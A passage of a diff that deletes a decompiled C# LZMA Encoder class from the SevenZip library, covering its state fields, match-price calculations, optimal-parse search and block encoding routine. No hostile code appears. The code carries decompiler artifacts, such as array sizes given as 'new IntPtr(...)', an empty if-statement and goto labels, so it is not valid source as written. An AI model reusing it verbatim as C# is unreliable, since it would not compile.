new Base.State(); - private byte _previousByte; - private uint[] _repDistances = new uint[new IntPtr(4)]; - private Encoder.Optimal[] _optimum = new Encoder.Optimal[new IntPtr(4096)]; - private IMatchFinder _matchFinder; - private SevenZip.Compression.RangeCoder.Encoder _rangeEncoder = new SevenZip.Compression.RangeCoder.Encoder(); - private BitEncoder[] _isMatch = new BitEncoder[new IntPtr(192)]; - private BitEncoder[] _isRep = new BitEncoder[new IntPtr(12)]; - private BitEncoder[] _isRepG0 = new BitEncoder[new IntPtr(12)]; - private BitEncoder[] _isRepG1 = new BitEncoder[new IntPtr(12)]; - private BitEncoder[] _isRepG2 = new BitEncoder[new IntPtr(12)]; - private BitEncoder[] _isRep0Long = new BitEncoder[new IntPtr(192)]; - private BitTreeEncoder[] _posSlotEncoder = new BitTreeEncoder[new IntPtr(4)]; - private BitEncoder[] _posEncoders = new BitEncoder[new IntPtr(114)]; - private BitTreeEncoder _posAlignEncoder = new BitTreeEncoder(4); - private Encoder.LenPriceTableEncoder _lenEncoder = new Encoder.LenPriceTableEncoder(); - private Encoder.LenPriceTableEncoder _repMatchLenEncoder = new Encoder.LenPriceTableEncoder(); - private Encoder.LiteralEncoder _literalEncoder = new Encoder.LiteralEncoder(); - private uint[] _matchDistances = new uint[new IntPtr(548)]; - private uint _numFastBytes = 32; - private uint _longestMatchLength; - private uint _numDistancePairs; - private uint _additionalOffset; - private uint _optimumEndIndex; - private uint _optimumCurrentIndex; - private bool _longestMatchWasFound; - private uint[] _posSlotPrices = new uint[256]; - private uint[] _distancesPrices = new uint[new IntPtr(512)]; - private uint[] _alignPrices = new uint[new IntPtr(16)]; - private uint _alignPriceCount; - private uint _distTableSize = 44; - private int _posStateBits = 2; - private uint _posStateMask = 3; - private int _numLiteralPosStateBits; - private int _numLiteralContextBits = 3; - private uint _dictionarySize = 4194304; - private uint _dictionarySizePrev = uint.MaxValue; - private uint _numFastBytesPrev = uint.MaxValue; - private long nowPos64; - private bool _finished; - private Stream _inStream; - private Encoder.EMatchFinderType _matchFinderType = Encoder.EMatchFinderType.BT4; - private bool _writeEndMark; - private bool _needReleaseMFStream; - private uint[] reps = new uint[new IntPtr(4)]; - private uint[] repLens = new uint[new IntPtr(4)]; - private byte[] properties = new byte[5]; - private uint[] tempPrices = new uint[new IntPtr(128)]; - private uint _matchPriceCount; - private static string[] kMatchFinderIDs = new string[2] - { - "BT2", - "BT4" - }; - private uint _trainSize; - - static Encoder() - { - int index1 = 2; - Encoder.g_FastPos[0] = (byte) 0; - Encoder.g_FastPos[1] = (byte) 1; - for (byte index2 = 2; index2 < (byte) 22; ++index2) - { - uint num1 = (uint) (1 << ((int) index2 >> 1) - 1); - uint num2 = 0; - while (num2 < num1) - { - Encoder.g_FastPos[index1] = index2; - ++num2; - ++index1; - } - } - } - - private static uint GetPosSlot(uint pos) - { - if (pos < 2048U) - return (uint) Encoder.g_FastPos[(IntPtr) pos]; - return pos < 2097152U ? (uint) Encoder.g_FastPos[(IntPtr) (pos >> 10)] + 20U : (uint) Encoder.g_FastPos[(IntPtr) (pos >> 20)] + 40U; - } - - private static uint GetPosSlot2(uint pos) - { - if (pos < 131072U) - return (uint) Encoder.g_FastPos[(IntPtr) (pos >> 6)] + 12U; - return pos < 134217728U ? (uint) Encoder.g_FastPos[(IntPtr) (pos >> 16)] + 32U : (uint) Encoder.g_FastPos[(IntPtr) (pos >> 26)] + 52U; - } - - private void BaseInit() - { - this._state.Init(); - this._previousByte = (byte) 0; - for (uint index = 0; index < 4U; ++index) - this._repDistances[(IntPtr) index] = 0U; - } - - private void Create() - { - if (this._matchFinder == null) - { - BinTree binTree = new BinTree(); - int numHashBytes = 4; - if (this._matchFinderType == Encoder.EMatchFinderType.BT2) - numHashBytes = 2; - binTree.SetType(numHashBytes); - this._matchFinder = (IMatchFinder) binTree; - } - this._literalEncoder.Create(this._numLiteralPosStateBits, this._numLiteralContextBits); - if ((int) this._dictionarySize == (int) this._dictionarySizePrev && (int) this._numFastBytesPrev == (int) this._numFastBytes) - return; - this._matchFinder.Create(this._dictionarySize, 4096U, this._numFastBytes, 274U); - this._dictionarySizePrev = this._dictionarySize; - this._numFastBytesPrev = this._numFastBytes; - } - - public Encoder() - { - for (int index = 0; index < 4096; ++index) - this._optimum[index] = new Encoder.Optimal(); - for (int index = 0; index < 4; ++index) - this._posSlotEncoder[index] = new BitTreeEncoder(6); - } - - private void SetWriteEndMarkerMode(bool writeEndMarker) => this._writeEndMark = writeEndMarker; - - private void Init() - { - this.BaseInit(); - this._rangeEncoder.Init(); - for (uint index1 = 0; index1 < 12U; ++index1) - { - for (uint index2 = 0; index2 <= this._posStateMask; ++index2) - { - uint index3 = (index1 << 4) + index2; - this._isMatch[(IntPtr) index3].Init(); - this._isRep0Long[(IntPtr) index3].Init(); - } - this._isRep[(IntPtr) index1].Init(); - this._isRepG0[(IntPtr) index1].Init(); - this._isRepG1[(IntPtr) index1].Init(); - this._isRepG2[(IntPtr) index1].Init(); - } - this._literalEncoder.Init(); - for (uint index = 0; index < 4U; ++index) - this._posSlotEncoder[(IntPtr) index].Init(); - for (uint index = 0; index < 114U; ++index) - this._posEncoders[(IntPtr) index].Init(); - this._lenEncoder.Init((uint) (1 << this._posStateBits)); - this._repMatchLenEncoder.Init((uint) (1 << this._posStateBits)); - this._posAlignEncoder.Init(); - this._longestMatchWasFound = false; - this._optimumEndIndex = 0U; - this._optimumCurrentIndex = 0U; - this._additionalOffset = 0U; - } - - private void ReadMatchDistances(out uint lenRes, out uint numDistancePairs) - { - lenRes = 0U; - numDistancePairs = this._matchFinder.GetMatches(this._matchDistances); - if (numDistancePairs > 0U) - { - lenRes = this._matchDistances[(IntPtr) (numDistancePairs - 2U)]; - if ((int) lenRes == (int) this._numFastBytes) - lenRes += this._matchFinder.GetMatchLen((int) lenRes - 1, this._matchDistances[(IntPtr) (numDistancePairs - 1U)], 273U - lenRes); - } - ++this._additionalOffset; - } - - private void MovePos(uint num) - { - if (num <= 0U) - return; - this._matchFinder.Skip(num); - this._additionalOffset += num; - } - - private uint GetRepLen1Price(Base.State state, uint posState) => this._isRepG0[(IntPtr) state.Index].GetPrice0() + this._isRep0Long[(IntPtr) ((state.Index << 4) + posState)].GetPrice0(); - - private uint GetPureRepPrice(uint repIndex, Base.State state, uint posState) - { - uint pureRepPrice; - if (repIndex == 0U) - { - pureRepPrice = this._isRepG0[(IntPtr) state.Index].GetPrice0() + this._isRep0Long[(IntPtr) ((state.Index << 4) + posState)].GetPrice1(); - } - else - { - uint price1 = this._isRepG0[(IntPtr) state.Index].GetPrice1(); - pureRepPrice = repIndex != 1U ? price1 + this._isRepG1[(IntPtr) state.Index].GetPrice1() + this._isRepG2[(IntPtr) state.Index].GetPrice(repIndex - 2U) : price1 + this._isRepG1[(IntPtr) state.Index].GetPrice0(); - } - return pureRepPrice; - } - - private uint GetRepPrice(uint repIndex, uint len, Base.State state, uint posState) => this._repMatchLenEncoder.GetPrice(len - 2U, posState) + this.GetPureRepPrice(repIndex, state, posState); - - private uint GetPosLenPrice(uint pos, uint len, uint posState) - { - uint lenToPosState = Base.GetLenToPosState(len); - return (pos >= 128U ? this._posSlotPrices[(IntPtr) ((lenToPosState << 6) + Encoder.GetPosSlot2(pos))] + this._alignPrices[(IntPtr) (pos & 15U)] : this._distancesPrices[(IntPtr) (lenToPosState * 128U + pos)]) + this._lenEncoder.GetPrice(len - 2U, posState); - } - - private uint Backward(out uint backRes, uint cur) - { - this._optimumEndIndex = cur; - uint posPrev = this._optimum[(IntPtr) cur].PosPrev; - uint backPrev = this._optimum[(IntPtr) cur].BackPrev; - do - { - if (this._optimum[(IntPtr) cur].Prev1IsChar) - { - this._optimum[(IntPtr) posPrev].MakeAsChar(); - this._optimum[(IntPtr) posPrev].PosPrev = posPrev - 1U; - if (this._optimum[(IntPtr) cur].Prev2) - { - this._optimum[(IntPtr) (posPrev - 1U)].Prev1IsChar = false; - this._optimum[(IntPtr) (posPrev - 1U)].PosPrev = this._optimum[(IntPtr) cur].PosPrev2; - this._optimum[(IntPtr) (posPrev - 1U)].BackPrev = this._optimum[(IntPtr) cur].BackPrev2; - } - } - uint index = posPrev; - uint num = backPrev; - backPrev = this._optimum[(IntPtr) index].BackPrev; - posPrev = this._optimum[(IntPtr) index].PosPrev; - this._optimum[(IntPtr) index].BackPrev = num; - this._optimum[(IntPtr) index].PosPrev = cur; - cur = index; - } - while (cur > 0U); - backRes = this._optimum[0].BackPrev; - this._optimumCurrentIndex = this._optimum[0].PosPrev; - return this._optimumCurrentIndex; - } - - private uint GetOptimum(uint position, out uint backRes) - { - if ((int) this._optimumEndIndex != (int) this._optimumCurrentIndex) - { - uint optimum = this._optimum[(IntPtr) this._optimumCurrentIndex].PosPrev - this._optimumCurrentIndex; - backRes = this._optimum[(IntPtr) this._optimumCurrentIndex].BackPrev; - this._optimumCurrentIndex = this._optimum[(IntPtr) this._optimumCurrentIndex].PosPrev; - return optimum; - } - this._optimumCurrentIndex = this._optimumEndIndex = 0U; - uint lenRes1; - uint numDistancePairs; - if (!this._longestMatchWasFound) - { - this.ReadMatchDistances(out lenRes1, out numDistancePairs); - } - else - { - lenRes1 = this._longestMatchLength; - numDistancePairs = this._numDistancePairs; - this._longestMatchWasFound = false; - } - uint num1 = this._matchFinder.GetNumAvailableBytes() + 1U; - if (num1 < 2U) - { - backRes = uint.MaxValue; - return 1; - } - if (num1 > 273U) - ; - uint index1 = 0; - for (uint index2 = 0; index2 < 4U; ++index2) - { - this.reps[(IntPtr) index2] = this._repDistances[(IntPtr) index2]; - this.repLens[(IntPtr) index2] = this._matchFinder.GetMatchLen(-1, this.reps[(IntPtr) index2], 273U); - if (this.repLens[(IntPtr) index2] > this.repLens[(IntPtr) index1]) - index1 = index2; - } - if (this.repLens[(IntPtr) index1] >= this._numFastBytes) - { - backRes = index1; - uint repLen = this.repLens[(IntPtr) index1]; - this.MovePos(repLen - 1U); - return repLen; - } - if (lenRes1 >= this._numFastBytes) - { - backRes = this._matchDistances[(IntPtr) (numDistancePairs - 1U)] + 4U; - this.MovePos(lenRes1 - 1U); - return lenRes1; - } - byte indexByte1 = this._matchFinder.GetIndexByte(-1); - byte indexByte2 = this._matchFinder.GetIndexByte(-(int) this._repDistances[0] - 1 - 1); - if (lenRes1 < 2U && (int) indexByte1 != (int) indexByte2 && this.repLens[(IntPtr) index1] < 2U) - { - backRes = uint.MaxValue; - return 1; - } - this._optimum[0].State = this._state; - uint posState1 = position & this._posStateMask; - Encoder.Optimal optimal1 = this._optimum[1]; - int price0 = (int) this._isMatch[(IntPtr) ((this._state.Index << 4) + posState1)].GetPrice0(); - Encoder.LiteralEncoder.Encoder2 subCoder = this._literalEncoder.GetSubCoder(position, this._previousByte); - int price1 = (int) subCoder.GetPrice(!this._state.IsCharState(), indexByte2, indexByte1); - int num2 = price0 + price1; - optimal1.Price = (uint) num2; - this._optimum[1].MakeAsChar(); - uint price1_1 = this._isMatch[(IntPtr) ((this._state.Index << 4) + posState1)].GetPrice1(); - uint num3 = price1_1 + this._isRep[(IntPtr) this._state.Index].GetPrice1(); - if ((int) indexByte2 == (int) indexByte1) - { - uint num4 = num3 + this.GetRepLen1Price(this._state, posState1); - if (num4 < this._optimum[1].Price) - { - this._optimum[1].Price = num4; - this._optimum[1].MakeAsShortRep(); - } - } - uint num5 = lenRes1 >= this.repLens[(IntPtr) index1] ? lenRes1 : this.repLens[(IntPtr) index1]; - if (num5 < 2U) - { - backRes = this._optimum[1].BackPrev; - return 1; - } - this._optimum[1].PosPrev = 0U; - this._optimum[0].Backs0 = this.reps[0]; - this._optimum[0].Backs1 = this.reps[1]; - this._optimum[0].Backs2 = this.reps[2]; - this._optimum[0].Backs3 = this.reps[3]; - uint num6 = num5; - do - { - this._optimum[(IntPtr) num6--].Price = 268435455U; - } - while (num6 >= 2U); - for (uint repIndex = 0; repIndex < 4U; ++repIndex) - { - uint repLen = this.repLens[(IntPtr) repIndex]; - if (repLen >= 2U) - { - uint num7 = num3 + this.GetPureRepPrice(repIndex, this._state, posState1); - do - { - uint num8 = num7 + this._repMatchLenEncoder.GetPrice(repLen - 2U, posState1); - Encoder.Optimal optimal2 = this._optimum[(IntPtr) repLen]; - if (num8 < optimal2.Price) - { - optimal2.Price = num8; - optimal2.PosPrev = 0U; - optimal2.BackPrev = repIndex; - optimal2.Prev1IsChar = false; - } - } - while (--repLen >= 2U); - } - } - uint num9 = price1_1 + this._isRep[(IntPtr) this._state.Index].GetPrice0(); - uint len = this.repLens[0] >= 2U ? this.repLens[0] + 1U : 2U; - if (len <= lenRes1) - { - uint index3 = 0; - while (len > this._matchDistances[(IntPtr) index3]) - index3 += 2U; - while (true) - { - uint matchDistance = this._matchDistances[(IntPtr) (index3 + 1U)]; - uint num10 = num9 + this.GetPosLenPrice(matchDistance, len, posState1); - Encoder.Optimal optimal3 = this._optimum[(IntPtr) len]; - if (num10 < optimal3.Price) - { - optimal3.Price = num10; - optimal3.PosPrev = 0U; - optimal3.BackPrev = matchDistance + 4U; - optimal3.Prev1IsChar = false; - } - if ((int) len == (int) this._matchDistances[(IntPtr) index3]) - { - index3 += 2U; - if ((int) index3 == (int) numDistancePairs) - break; - } - ++len; - } - } - uint cur = 0; -label_45: - uint lenRes2; - Base.State state1; - uint posState2; - uint num11; - uint num12; - uint num13; - do - { - byte indexByte3; - byte indexByte4; - uint num14; - bool flag; - uint num15; - uint limit1; - do - { - ++cur; - if ((int) cur == (int) num5) - return this.Backward(out backRes, cur); - this.ReadMatchDistances(out lenRes2, out numDistancePairs); - if (lenRes2 >= this._numFastBytes) - { - this._numDistancePairs = numDistancePairs; - this._longestMatchLength = lenRes2; - this._longestMatchWasFound = true; - return this.Backward(out backRes, cur); - } - ++position; - uint index4 = this._optimum[(IntPtr) cur].PosPrev; - if (this._optimum[(IntPtr) cur].Prev1IsChar) - { - --index4; - if (this._optimum[(IntPtr) cur].Prev2) - { - state1 = this._optimum[(IntPtr) this._optimum[(IntPtr) cur].PosPrev2].State; - if (this._optimum[(IntPtr) cur].BackPrev2 < 4U) - state1.UpdateRep(); - else - state1.UpdateMatch(); - } - else - state1 = this._optimum[(IntPtr) index4].State; - state1.UpdateChar(); - } - else - state1 = this._optimum[(IntPtr) index4].State; - if ((int) index4 == (int) cur - 1) - { - if (this._optimum[(IntPtr) cur].IsShortRep()) - state1.UpdateShortRep(); - else - state1.UpdateChar(); - } - else - { - uint num16; - if (this._optimum[(IntPtr) cur].Prev1IsChar && this._optimum[(IntPtr) cur].Prev2) - { - index4 = this._optimum[(IntPtr) cur].PosPrev2; - num16 = this._optimum[(IntPtr) cur].BackPrev2; - state1.UpdateRep(); - } - else - { - num16 = this._optimum[(IntPtr) cur].BackPrev; - if (num16 < 4U) - state1.UpdateRep(); - else - state1.UpdateMatch(); - } - Encoder.Optimal optimal4 = this._optimum[(IntPtr) index4]; - if (num16 < 4U) - { - switch (num16) - { - case 0: - this.reps[0] = optimal4.Backs0; - this.reps[1] = optimal4.Backs1; - this.reps[2] = optimal4.Backs2; - this.reps[3] = optimal4.Backs3; - break; - case 1: - this.reps[0] = optimal4.Backs1; - this.reps[1] = optimal4.Backs0; - this.reps[2] = optimal4.Backs2; - this.reps[3] = optimal4.Backs3; - break; - case 2: - this.reps[0] = optimal4.Backs2; - this.reps[1] = optimal4.Backs0; - this.reps[2] = optimal4.Backs1; - this.reps[3] = optimal4.Backs3; - break; - default: - this.reps[0] = optimal4.Backs3; - this.reps[1] = optimal4.Backs0; - this.reps[2] = optimal4.Backs1; - this.reps[3] = optimal4.Backs2; - break; - } - } - else - { - this.reps[0] = num16 - 4U; - this.reps[1] = optimal4.Backs0; - this.reps[2] = optimal4.Backs1; - this.reps[3] = optimal4.Backs2; - } - } - this._optimum[(IntPtr) cur].State = state1; - this._optimum[(IntPtr) cur].Backs0 = this.reps[0]; - this._optimum[(IntPtr) cur].Backs1 = this.reps[1]; - this._optimum[(IntPtr) cur].Backs2 = this.reps[2]; - this._optimum[(IntPtr) cur].Backs3 = this.reps[3]; - uint price2 = this._optimum[(IntPtr) cur].Price; - indexByte3 = this._matchFinder.GetIndexByte(-1); - indexByte4 = this._matchFinder.GetIndexByte(-(int) this.reps[0] - 1 - 1); - posState2 = position & this._posStateMask; - int num17 = (int) price2 + (int) this._isMatch[(IntPtr) ((state1.Index << 4) + posState2)].GetPrice0(); - subCoder = this._literalEncoder.GetSubCoder(position, this._matchFinder.GetIndexByte(-2)); - int price3 = (int) subCoder.GetPrice(!state1.IsCharState(), indexByte4, indexByte3); - num14 = (uint) (num17 + price3); - Encoder.Optimal optimal5 = this._optimum[(IntPtr) (cur + 1U)]; - flag = false; - if (num14 < optimal5.Price) - { - optimal5.Price = num14; - optimal5.PosPrev = cur; - optimal5.MakeAsChar(); - flag = true; - } - num11 = price2 + this._isMatch[(IntPtr) ((state1.Index << 4) + posState2)].GetPrice1(); - num15 = num11 + this._isRep[(IntPtr) state1.Index].GetPrice1(); - if ((int) indexByte4 == (int) indexByte3 && (optimal5.PosPrev >= cur || optimal5.BackPrev != 0U)) - { - uint num18 = num15 + this.GetRepLen1Price(state1, posState2); - if (num18 <= optimal5.Price) - { - optimal5.Price = num18; - optimal5.PosPrev = cur; - optimal5.MakeAsShortRep(); - flag = true; - } - } - uint val2 = this._matchFinder.GetNumAvailableBytes() + 1U; - num12 = Math.Min(4095U - cur, val2); - limit1 = num12; - } - while (limit1 < 2U); - if (limit1 > this._numFastBytes) - limit1 = this._numFastBytes; - if (!flag && (int) indexByte4 != (int) indexByte3) - { - uint matchLen = this._matchFinder.GetMatchLen(0, this.reps[0], Math.Min(num12 - 1U, this._numFastBytes)); - if (matchLen >= 2U) - { - Base.State state2 = state1; - state2.UpdateChar(); - uint posState3 = position + 1U & this._posStateMask; - uint num19 = num14 + this._isMatch[(IntPtr) ((state2.Index << 4) + posState3)].GetPrice1() + this._isRep[(IntPtr) state2.Index].GetPrice1(); - uint index5 = cur + 1U + matchLen; - while (num5 < index5) - this._optimum[(IntPtr) ++num5].Price = 268435455U; - uint num20 = num19 + this.GetRepPrice(0U, matchLen, state2, posState3); - Encoder.Optimal optimal6 = this._optimum[(IntPtr) index5]; - if (num20 < optimal6.Price) - { - optimal6.Price = num20; - optimal6.PosPrev = cur + 1U; - optimal6.BackPrev = 0U; - optimal6.Prev1IsChar = true; - optimal6.Prev2 = false; - } - } - } - num13 = 2U; - for (uint repIndex = 0; repIndex < 4U; ++repIndex) - { - uint matchLen1 = this._matchFinder.GetMatchLen(-1, this.reps[(IntPtr) repIndex], limit1); - if (matchLen1 >= 2U) - { - uint num21 = matchLen1; - do - { - while (num5 < cur + matchLen1) - this._optimum[(IntPtr) ++num5].Price = 268435455U; - uint num22 = num15 + this.GetRepPrice(repIndex, matchLen1, state1, posState2); - Encoder.Optimal optimal7 = this._optimum[(IntPtr) (cur + matchLen1)]; - if (num22 < optimal7.Price) - { - optimal7.Price = num22; - optimal7.PosPrev = cur; - optimal7.BackPrev = repIndex; - optimal7.Prev1IsChar = false; - } - } - while (--matchLen1 >= 2U); - uint num23 = num21; - if (repIndex == 0U) - num13 = num23 + 1U; - if (num23 < num12) - { - uint limit2 = Math.Min(num12 - 1U - num23, this._numFastBytes); - uint matchLen2 = this._matchFinder.GetMatchLen((int) num23, this.reps[(IntPtr) repIndex], limit2); - if (matchLen2 >= 2U) - { - Base.State state3 = state1; - state3.UpdateRep(); - uint num24 = position + num23 & this._posStateMask; - int num25 = (int) num15 + (int) this.GetRepPrice(repIndex, num23, state1, posState2) + (int) this._isMatch[(IntPtr) ((state3.Index << 4) + num24)].GetPrice0(); - subCoder = this._literalEncoder.GetSubCoder(position + num23, this._matchFinder.GetIndexByte((int) num23 - 1 - 1)); - int price4 = (int) subCoder.GetPrice(true, this._matchFinder.GetIndexByte((int) num23 - 1 - ((int) this.reps[(IntPtr) repIndex] + 1)), this._matchFinder.GetIndexByte((int) num23 - 1)); - uint num26 = (uint) (num25 + price4); - state3.UpdateChar(); - uint posState4 = (uint) ((int) position + (int) num23 + 1) & this._posStateMask; - uint num27 = num26 + this._isMatch[(IntPtr) ((state3.Index << 4) + posState4)].GetPrice1() + this._isRep[(IntPtr) state3.Index].GetPrice1(); - uint num28 = num23 + 1U + matchLen2; - while (num5 < cur + num28) - this._optimum[(IntPtr) ++num5].Price = 268435455U; - uint num29 = num27 + this.GetRepPrice(0U, matchLen2, state3, posState4); - Encoder.Optimal optimal8 = this._optimum[(IntPtr) (cur + num28)]; - if (num29 < optimal8.Price) - { - optimal8.Price = num29; - optimal8.PosPrev = (uint) ((int) cur + (int) num23 + 1); - optimal8.BackPrev = 0U; - optimal8.Prev1IsChar = true; - optimal8.Prev2 = true; - optimal8.PosPrev2 = cur; - optimal8.BackPrev2 = repIndex; - } - } - } - } - } - if (lenRes2 > limit1) - { - lenRes2 = limit1; - uint index6 = 0; - while (lenRes2 > this._matchDistances[(IntPtr) index6]) - index6 += 2U; - this._matchDistances[(IntPtr) index6] = lenRes2; - numDistancePairs = index6 + 2U; - } - } - while (lenRes2 < num13); - uint num30 = num11 + this._isRep[(IntPtr) state1.Index].GetPrice0(); - while (num5 < cur + lenRes2) - this._optimum[(IntPtr) ++num5].Price = 268435455U; - uint index7 = 0; - while (num13 > this._matchDistances[(IntPtr) index7]) - index7 += 2U; - uint num31 = num13; - while (true) - { - uint matchDistance = this._matchDistances[(IntPtr) (index7 + 1U)]; - uint num32 = num30 + this.GetPosLenPrice(matchDistance, num31, posState2); - Encoder.Optimal optimal9 = this._optimum[(IntPtr) (cur + num31)]; - if (num32 < optimal9.Price) - { - optimal9.Price = num32; - optimal9.PosPrev = cur; - optimal9.BackPrev = matchDistance + 4U; - optimal9.Prev1IsChar = false; - } - if ((int) num31 == (int) this._matchDistances[(IntPtr) index7]) - { - if (num31 < num12) - { - uint limit = Math.Min(num12 - 1U - num31, this._numFastBytes); - uint matchLen = this._matchFinder.GetMatchLen((int) num31, matchDistance, limit); - if (matchLen >= 2U) - { - Base.State state4 = state1; - state4.UpdateMatch(); - uint num33 = position + num31 & this._posStateMask; - int num34 = (int) num32 + (int) this._isMatch[(IntPtr) ((state4.Index << 4) + num33)].GetPrice0(); - subCoder = this._literalEncoder.GetSubCoder(position + num31, this._matchFinder.GetIndexByte((int) num31 - 1 - 1)); - int price5 = (int) subCoder.GetPrice(true, this._matchFinder.GetIndexByte((int) num31 - ((int) matchDistance + 1) - 1), this._matchFinder.GetIndexByte((int) num31 - 1)); - uint num35 = (uint) (num34 + price5); - state4.UpdateChar(); - uint posState5 = (uint) ((int) position + (int) num31 + 1) & this._posStateMask; - uint num36 = num35 + this._isMatch[(IntPtr) ((state4.Index << 4) + posState5)].GetPrice1() + this._isRep[(IntPtr) state4.Index].GetPrice1(); - uint num37 = num31 + 1U + matchLen; - while (num5 < cur + num37) - this._optimum[(IntPtr) ++num5].Price = 268435455U; - uint num38 = num36 + this.GetRepPrice(0U, matchLen, state4, posState5); - Encoder.Optimal optimal10 = this._optimum[(IntPtr) (cur + num37)]; - if (num38 < optimal10.Price) - { - optimal10.Price = num38; - optimal10.PosPrev = (uint) ((int) cur + (int) num31 + 1); - optimal10.BackPrev = 0U; - optimal10.Prev1IsChar = true; - optimal10.Prev2 = true; - optimal10.PosPrev2 = cur; - optimal10.BackPrev2 = matchDistance + 4U; - } - } - } - index7 += 2U; - if ((int) index7 == (int) numDistancePairs) - goto label_45; - } - ++num31; - } - } - - private bool ChangePair(uint smallDist, uint bigDist) => smallDist < 33554432U && bigDist >= smallDist << 7; - - private void WriteEndMarker(uint posState) - { - if (!this._writeEndMark) - return; - this._isMatch[(IntPtr) ((this._state.Index << 4) + posState)].Encode(this._rangeEncoder, 1U); - this._isRep[(IntPtr) this._state.Index].Encode(this._rangeEncoder, 0U); - this._state.UpdateMatch(); - uint len = 2; - this._lenEncoder.Encode(this._rangeEncoder, len - 2U, posState); - uint symbol = 63; - this._posSlotEncoder[(IntPtr) Base.GetLenToPosState(len)].Encode(this._rangeEncoder, symbol); - int num1 = 30; - uint num2 = (uint) ((1 << num1) - 1); - this._rangeEncoder.EncodeDirectBits(num2 >> 4, num1 - 4); - this._posAlignEncoder.ReverseEncode(this._rangeEncoder, num2 & 15U); - } - - private void Flush(uint nowPos) - { - this.ReleaseMFStream(); - this.WriteEndMarker(nowPos & this._posStateMask); - this._rangeEncoder.FlushData(); - this._rangeEncoder.FlushStream(); - } - - public void CodeOneBlock(out long inSize, out long outSize, out bool finished) - { - inSize = 0L; - outSize = 0L; - finished = true; - if (this._inStream != null) - { - this._matchFinder.SetStream(this._inStream); - this._matchFinder.Init(); - this._needReleaseMFStream = true; - this._inStream = (Stream) null; - if (this._trainSize > 0U) - this._matchFinder.Skip(this._trainSize); - } - if (this._finished) - return; - this._finished = true; - long nowPos64 = this.nowPos64; - if (this.nowPos64 == 0L) - { - if (this._matchFinder.GetNumAvailableBytes() == 0U) - { - this.Flush((uint) this.nowPos64); - return; - } - this.ReadMatchDistances(out uint _, out uint _); - this._isMatch[(IntPtr) ((this._state.Index << 4) + ((uint) this.nowPos64 & this._posStateMask))].Encode(this._rangeEncoder, 0U); - this._state.UpdateChar(); - byte indexByte = this._matchFinder.GetIndexByte(-(int) this._additionalOffset); - this._literalEncoder.GetSubCoder((uint) this.nowPos64, this._previousByte).Encode(this._rangeEncoder, indexByte); - this._previousByte = indexByte; - --this._additionalOffset; - ++this.nowPos64; - } - if (this._matchFinder.GetNumAvailableBytes() == 0U) - { - this.Flush((uint) this.nowPos64); - } - else - { - do - { - do - { - uint backRes; - uint optimum = this.GetOptimum((uint) this.nowPos64, out backRes); - uint posState = (uint) this.nowPos64 & this._posStateMask; - uint index1 = (this._state.Index << 4) + posState; - if (optimum == 1U && backRes == uint.MaxValue) - { - this._isMatch[(IntPtr) index1].Encode(this._rangeEncoder, 0U); - byte indexByte1 = this._matchFinder.GetIndexByte(-(int) this._additionalOffset); - Encoder.LiteralEncoder.Encoder2 subCoder = this._literalEncoder.GetSubCoder((uint) this.nowPos64, this._previousByte); - if (!this._state.IsCharState()) - { - byte indexByte2 = this._matchFinder.GetIndexByte(-(int) this._repDistances[0] - 1 - (int) this._additionalOffset); - subCoder.EncodeMatched(this._rangeEncoder, indexByte2, indexByte1); - } - else - subCoder.Encode(this._rangeEncoder, indexByte1); - this._previousByte = indexByte1; - this._state.UpdateChar(); - } - else - { - this._isMatch[(IntPtr) index1].Encode(this._rangeEncoder, 1U); - if (backRes < 4U) - { - this._isRep[(IntPtr) this._state.Index].Encode(this._rangeEncoder, 1U); - if (backRes == 0U) - { - this._isRepG0[(IntPtr) this._state.Index].Encode(this._rangeEncoder, 0U); - if (optimum == 1U) - this._isRep0Long[(IntPtr) index1].Encode(this._rangeEncoder, 0U); - else - this._isRep0Long[(IntPtr) index1].Encode(this._rangeEncoder, 1U); - } - else - { - this._isRepG0[(IntPtr) this._state.Index].Encode(this._rangeEncoder, 1U); - if (backRes == 1U) - { - this._isRepG1[(IntPtr) this._state.Index].Encode(this._rangeEncoder, 0U); - } - else - { - this._isRepG1[(IntPtr) this._state.Index].Encode(this._rangeEncoder, 1U); - this._isRepG2[(IntPtr) this._state.Index].Encode(this._rangeEncoder, backRes - 2U); - } - } - if (optimum == 1U) - { - this._state.UpdateShortRep(); - } - else - { - this._repMatchLenEncoder.Encode(this._rangeEncoder, optimum - 2U, posState); - this._state.UpdateRep(); - } - uint repDistance = this._repDistances[(IntPtr) backRes]; - if (backRes != 0U) - { - for (uint index2 = backRes; index2 >= 1U; --index2) - this._repDistances[(IntPtr) index2] = this._repDistances[(IntPtr) (index2 - 1U)]; - this._repDistances[0] = repDistance; - } - } - else - { - this._isRep[(IntPtr) this._state.Index].Encode(this._rangeEncoder, 0U); - this._state.UpdateMatch(); - this._lenEncoder.Encode(this._rangeEncoder, optimum - 2U, posState); - backRes -= 4U; - uint posSlot = Encoder.GetPosSlot(backRes); - this._posSlotEncoder[(IntPtr) Base.GetLenToPosState(optimum)].Encode(this._rangeEncoder, posSlot); - if (posSlot >= 4U) - { - int NumBitLevels = (int) (posSlot >> 1) - 1; - uint num = (uint) ((2 | (int) posSlot & 1) << NumBitLevels); - uint symbol = backRes - num; - if (posSlot < 14U) - { - BitTreeEncoder.ReverseEncode(this._posEncoders, (uint) ((int) num - (int) posSlot - 1), this._rangeEncoder, NumBitLevels, symbol); - } - else - { - this._rangeEncoder.EncodeDirectBits(symbol >> 4, NumBitLevels - 4); - this._posAlignEncoder.ReverseEncode(this._rangeEncoder, symbol & 15U); - ++this._alignPriceCount; - } - } - uint num1 = backRes; - for (uint index3 = 3; index3 >= 1U; --index3) - this._repDistances[(IntPtr) index3] = this._repDistances[(IntPtr) (index3 - 1U)]; - this._repDistances[0] = num1; - ++this._matchPriceCount; - } - this._previousByte = this._matchFinder.GetIndexByte((int) optimum - 1 - (int) this._additionalOffset); - } - this._additionalOffset -= optimum; - this.nowPos64 += (long) optimum; - } - while (this._additionalOffset != 0U); - if (this._matchPriceCount >= 128U) - this.FillDistancesPrices(); - if (this._alignPriceCount >= 16U) - this.FillAlignPrices(); - inSize = this.nowPos64; - outSize = this._rangeEncoder.GetProcessedSizeAdd(); - if (this._matchFinder.GetNumAvailableBytes() == 0U) - { - this.Flush((uint) this.nowPos64); - return; - } - } - while (this.nowPos64 - nowPos64 < 4096L); - this._finished = false; - finished = false; - } - } - - private void ReleaseMFStream() - { - if (this._matchFinder == null || !this._needReleaseMFStream) - return; - this._matchFinder.ReleaseStream(); - this._needReleaseMFStream = false; - } - - private void SetOutStream(Stream outStream) => this._rangeEncoder.SetStream(outStream); - - private void ReleaseOutStream() => this._rangeEncoder.ReleaseStream(); - - private void 